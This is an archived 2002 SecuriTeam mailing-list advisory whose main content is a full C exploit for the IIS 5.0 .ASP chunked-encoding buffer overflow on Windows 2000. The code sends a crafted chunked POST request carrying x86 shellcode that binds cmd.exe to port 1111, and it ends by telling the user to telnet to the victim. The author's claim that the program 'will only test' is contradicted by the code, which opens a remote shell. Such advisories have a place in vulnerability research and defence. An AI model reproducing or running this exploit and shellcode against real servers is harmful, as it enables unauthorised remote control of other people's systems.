

# [EXPL] Windows 2000 Server IIS 5.0 .ASP Overflow Exploit

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-05/0020.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 05/04/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Sat, 4 May 2002 19:51:48 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

Windows 2000 Server IIS 5.0 .ASP Overflow Exploit

---

## SUMMARY

The following code will allow you to safely test your system for the below motioned vulnerability. For more information about this vulnerability see:

<<http://www.securiteam.com/windowsntfocus/5SP0F006UA.html>> Windows 2000 and NT4 IIS .ASP Remote Buffer Overflow (Additional Details).

## DETAILS

Exploit:

This .ASP overflow exploit will open port 1111 and bind the cmd.exe to it.

It should be noted is that every time you run this exploit and a message will show that this exploit works perfectly. However, that does not mean you can get the access to the target host, the reason is that on some occasions there will be a message-box appear on victim's terminal screen showing that an AV (Access Violation) has occurred.

/\* Windows 2000 Server Exploit By CHINANSL Security Team.

Test on Windows 2000 Chinese Version, IIS 5.0 , not patched.

Warning: THIS PROGRAM WILL ONLY TEST.

CHINANSL Technology CO.,LTD <http://www.chinansl.com>

[keji@chinansl.com](mailto:keji@chinansl.com)

```

*/

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment (lib,"Ws2_32")

int main(int argc, char* argv[])
{
if(argc != 4)
{
printf("%s ip port asppath\n\n",argv[0]);
printf(" ie. %s 127.0.0.1 80 /iisstart.asp\n",argv[0]);
puts(" programed by keji@chinansl.com");

return 0;
}

DWORD srcdata=0x01e2fb1c-4;//0x00457474;
//address of SHELLCODE
DWORD jmpaddr=0x00457494; //0x77ebf094;/ /0x01e6fcec;
//"\x1c\xfb\xe6\x01"; //"\x0c\xfb\xe6\x01";

char* destIP=argv[1];
char* destFile=argv[3];
int webport=atoi(argv[2]);
char* pad="\xcc\xcc\xcc\xcc" "ADPA" "\x02\x02\x02\x02" "PADP"; //16
bytes

WSADATA ws;
SOCKET s;
long result=0;
if(WSAStartup(0x0101,&ws) != 0)
{
puts("WSAStartup() error");
return -1;
}

struct sockaddr_in addr;
addr.sin_family=AF_INET;
addr.sin_port=htons(webport);
addr.sin_addr.s_addr=inet_addr(destIP);
s=socket(AF_INET,SOCK_STREAM,0);
if(s== -1)
{
puts("Socket create error");
return -1;
}

```

## Securiteam: [EXPL] Windows 2000 Server IIS 5.0 .ASP Overflow Exploit

```
if(connect(s,(struct sockaddr *)&addr,sizeof(addr)) == -1)
{
puts("Cannot connect to the specified host");
return -1;
}
```

```
char buff[4096];
```

```
char*
```

```
shellcode="\x55\x8b\xec\x33\xc0\xb0\xf0\xf7\xd8\x03\xe0\x8b\xfc\x33\xc9\x89"
"\x8d\x2c\xff\xff\xff\xb8\x6b\x65\x72\x6e\xab\xb8\x65\x6c\x33\x32"
"\xab\x32\xc0\xaa\xb8\x77\x73\x6f\x63\xab\xb8\x6b\x33\x32\xe\xab"
"\x4f\x32\xc0\xaa\x8d\x7d\x80\xb8\x63\x6d\x64\xe\xab\x32\xc0\x4f"
"\xaa\xb8\x23\x80\xe7\x77\x8d\x9d\x10\xff\xff\xff\x53\xff\xd0\x89"
"\x45\xfc\xb8\x23\x80\xe7\x77\x8d\x9d\x19\xff\xff\xff\x53\xff\xd0"
"\x89\x45\xf8\xbb\x4b\x56\xe7\x77\x6a\x47\xff\x75\xfc\xff\xd3\x89"
"\x45\xf4\x6a\x48\xff\x75\xfc\xff\xd3\x89\x45\xf0\x33\xf6\x66\xbe"
"\x1d\x02\x56\xff\x75\xfc\xff\xd3\x89\x45\xec\x66\xbe\x3e\x02\x56"
"\xff\x75\xfc\xff\xd3\x89\x45\xe8\x66\xbe\x0f\x03\x56\xff\x75\xfc"
"\xff\xd3\x89\x45\xe4\x66\xbe\x9d\x01\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x34\xff\xff\xff\x66\xbe\xc4\x02\x56\xff\x75\xfc\xff\xd3\x89"
"\x85\x28\xff\xff\xff\x33\xc0\xb0\x8d\x50\xff\x75\xfc\xff\xd3\x89"
"\x85\x18\xff\xff\xff\x6a\x73\xff\x75\xf8\xff\xd3\x89\x45\xe0\x6a"
"\x17\xff\x75\xf8\xff\xd3\x89\x45\xdc\x6a\x02\xff\x75\xf8\xff\xd3"
"\x89\x45\xd8\x33\xc0\xb0\x0e\x48\x50\xff\x75\xf8\xff\xd3\x89\x45"
"\xd4\x6a\x01\xff\x75\xf8\xff\xd3\x89\x45\xd0\x6a\x13\xff\x75\xf8"
"\xff\xd3\x89\x45\xcc\x6a\x10\xff\x75\xf8\xff\xd3\x89\x45\xc8\x6a"
"\x03\xff\x75\xf8\xff\xd3\x89\x85\x1c\xff\xff\xff\x8d\x7d\xa0\x32"
"\xe4\xb0\x02\x66\xab\x66\xb8\x04\x57\x66\xab\x33\xc0\xab\xf7\xd0"
"\xab\xab\x8d\x7d\x8c\x33\xc0\xb0\x0e\xfe\xc8\xfe\xc8\xab\x33\xc0"
"\xab\x40\xab\x8d\x45\xb0\x50\x33\xc0\x66\xb8\x01\x01\x50\xff\x55"
"\xe0\x33\xc0\x50\x6a\x01\x6a\x02\xff\x55\xdc\x89\x45\xc4\x6a\x10"
"\x8d\x45\xa0\x50\xff\x75\xc4\xff\x55\xd8\x6a\x01\xff\x75\xc4\xff"
"\x55\xd4\x33\xc0\x50\x50\xff\x75\xc4\xff\x55\xd0\x89\x45\xc0\x33"
"\xff\x57\x8d\x45\x8c\x50\x8d\x45\x98\x50\x8d\x45\x9c\x50\xff\x55"
"\xf4\x33\xff\x57\x8d\x45\x8c\x50\x8d\x45\x90\x50\x8d\x45\x94\x50"
"\xff\x55\xf4\xfc\x8d\xbd\x38\xff\xff\xff\x33\xc9\xb1\x44\x32\xc0"
"\xf3\xaa\x8d\xbd\x38\xff\xff\xff\x33\xc0\x66\xb8\x01\x01\x89\x47"
"\x2c\x8b\x45\x94\x89\x47\x38\x8b\x45\x98\x89\x47\x40\x89\x47\x3c"
"\xb8\xf0\xff\xff\xff\x33\xdb\x03\xe0\x8b\xc4\x50\x8d\x85\x38\xff"
"\xff\xff\x50\x53\x53\x53\x6a\x01\x53\x53\x8d\x4d\x80\x51\x53\xff"
"\x55\xf0\x33\xc0\xb4\x04\x50\x6a\x40\xff\x95\x34\xff\xff\xff\x89"
"\x85\x30\xff\xff\xff\x90\x33\xdb\x53\x8d\x85\x2c\xff\xff\xff\x50"
"\x53\x53\x53\xff\x75\x9c\xff\x55\xec\x8b\x85\x2c\xff\xff\xff\x85"
"\xc0\x74\x49\x33\xdb\x53\xb7\x04\x8d\x85\x2c\xff\xff\xff\x50\x53"
"\xff\xb5\x30\xff\xff\xff\xff\x75\x9c\xff\x55\xe8\x85\xc0\x74\x6d"
"\x33\xc0\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff\xff\xff"
"\x75\xc0\xff\x55\xcc\x83\xf8\xff\x74\x53\xeb\x10\x90\x90\x90\x90"
"\x90\x90\x6a\x32\xff\x95\x28\xff\xff\xff\xeb\x99\x90\x90\x33\xc0"
"\x50\xb4\x04\x50\xff\xb5\x30\xff\xff\xff\xff\x75\xc0\xff\x55\xc8"
"\x83\xf8\xff\x74\x28\x89\x85\x2c\xff\xff\xff\x33\xc0\x50\x8d\x85"
"\x2c\xff\xff\xff\x50\xff\xb5\x2c\xff\xff\xff\xff\xb5\x30\xff\xff"
```

## Securiteam: [EXPL] Windows 2000 Server IIS 5.0 .ASP Overflow Exploit

```
"\xff\xff\x75\x90\xff\x55\xe4\x85\xc0\x74\x02\xeb\xb4\xff\x75\xc4"  
"\xff\x95\x1c\xff\xff\xff\xff\x75\xc0\xff\x95\x1c\xff\xff\xff\x6a"  
"\xff\xff\x95\x18\xff\xff\xff";
```

```
char* s1="POST ";  
char* s2="Accept: */*\r\n";  
char* s4="Content-Type: application/x-www-form-urlencoded\r\n";  
char* s5="Transfer-Encoding:  
chunked\r\n\r\n";  
char* sc="0\r\n\r\n\r\n";
```

```
char shellcodebuff[1024*8];  
memset(shellcodebuff,0x90,sizeof  
(shellcodebuff));  
memcpy(&shellcodebuff[sizeof(shellcodebuff)-  
strlen(shellcode)-1],shellcode,strlen(shellcode));  
shellcodebuff[sizeof(shellcodebuff)-1] = 0;
```

```
char sendbuff[1024*16];  
memset(sendbuff,0,1024*16);
```

```
sprintf(sendbuff,"%s%s?%s HTTP/1.1\r\n%sHost:  
%s\r\n%s%s10\r\n%s\r\n4\r\nAAAA\r\n4\r\nBBBB\r\n%s",s1,destFile,  
shellcodebuff,s2,destIP,s4,s5,pad/*,srcdata,jmpaddr*/,sc);
```

```
int sendlen=strlen(sendbuff);  
*(DWORD *)strstr(sendbuff,"BBBB") = jmpaddr;  
*(DWORD *)strstr(sendbuff,"AAAA") = srcdata;
```

```
result=send(s,sendbuff,sendlen,0);  
if(result == -1 )  
{  
puts("Send shellcode error!");  
return -1;  
}
```

```
memset(buff,0,4096);  
result=recv(s,buff,sizeof(buff),0);
```

```
if(strstr(buff,"<html>") != NULL)  
{  
shutdown(s,0);  
closesocket(s);
```

```
puts("Send shellcode error!Try again!");  
return -1;  
}
```

```
shutdown(s,0);  
closesocket(s);
```

Securiteam: [EXPL] Windows 2000 Server IIS 5.0 .ASP Overflow Exploit

```
printf("\nUse <telnet %s 1111> to connect to the host\n",destIP);
puts("If you cannot connect to the host,try run this program again!");

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:[keji@chinansl.com](mailto:keji@chinansl.com)> keji.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NEWS] How to Remotely and Automatically Exploit a Format Bug"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)